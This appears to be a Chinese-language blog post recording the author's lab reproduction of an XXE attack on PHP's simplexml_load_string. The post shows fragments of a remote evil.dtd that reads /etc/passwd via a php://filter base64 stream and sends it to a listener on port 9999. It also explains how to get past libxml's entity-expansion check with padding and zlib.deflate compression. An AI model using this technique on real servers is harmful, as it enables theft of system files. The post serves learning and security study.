关于XXE,我自己想来重现一下,却发现很多地方并不行。但网上并没有好的解决方法,然后有了下文,记录一下,顺便填坑填坑.
php 版本:PHP Version 5.6.9-0+deb8u1+libxml 2.9.1
1 | $xml=<<< EOF |
用的simplexml_load_string()
, 上面语句会引用一个外部实体file://
协议,LIBXM_NOENT
常量2 表示解析实体 ,结果是正常回显的.
我想把这个实体的内容通过下一个实体引用的http请求发送出去,修改一下 DTD 即如下:
1 | < ?xml version="1.0"?> |
这里我用PHP filter 编码了/etc/pass
,因为这里就不用担心一些文件里面特殊字符的影响,在传输的时候不用去考虑传输特殊字符。 init实体里面包裹了trick,这里我说一下为什么要这样做,而不是直接写trick,如果你不中间转一下http://127.0.0.1:9999/?%file
里面file的值是不会被替换的,相当于替换了站位符。 监听nc -l -p 9999 DTD
好像也没什么错,但是报错了Warning: simplexml_load_string(): Entity: line 5: parser error : PEReferences forbidden in internal subset in /var/www/html/xxe.php on line 16
查了一下,禁止使用外部引用这样构造。但是我们可以用远程的DTD来代替本地的DTD定义。
1 | < ?xml version="1.0"?> |
evil.dtd
1 | < !ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> |
现在来说不会发生 parse 错误了,但是我又出现了奇怪的错误,有一个 parser error Warning: simplexml_load_string(): http://127.0.0.1/evil.dtd:3: parser error : Detected an entity reference loop in /var/www/html/xxe.php on line 16
查了一波资料,隐约好像是说 加载的实体内容太大了。去看一下libxml source code,发现了xmlParserEntityCheck 函数会抛出 XML_ERR_ENTITY_LOOP
1 |
|
当实体加载完毕后,验证会触发:
- 其大小是否小于 1000 字符
- 其大小是否小于已经加载的内容大小10倍 ,并且已经加载的实体引用的数量的3倍是否小于已经加载的内容大小的10倍 满足一上条件之一,则返回 0,无错误。否在抛出error。
显然当我们加载 /etc/passwd 的时候 扩大整个XML 文档太多了,这个时候2个优化方法:
- 添加一些无用二进制序列,慢慢先增大xml,不要一开始就加载大的实体引用。
- 用一些其他的php filter 来压缩原始数据,比如 zlib.deflate,尽可能的不要去触发扩张检测
1 | < !ENTITY % trash SYSTEM "< !ENTITY % tr SYSTEM '{$long}'>"> //$long='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...' //500*'a' |
Warning: simplexml_load_string(http://127.0.0.1:9999/?fVZbb6s4EH7vr+Bxj9SIcEna+K09lfZhT4+6zUr7uDLg......)
成功,我仅仅使用 php://filter/zlib.deflate
就解决了这个问题 。而后我知道这其实是一种保护,防止xml 文档大小以指数扩大。 纸上得来终觉浅,很多事情你以为可能就是这样,但是真的是这样吗?我可能要问问自己,别人实验没有这样的问题,不代表就没有。猜坑之旅,路无止境......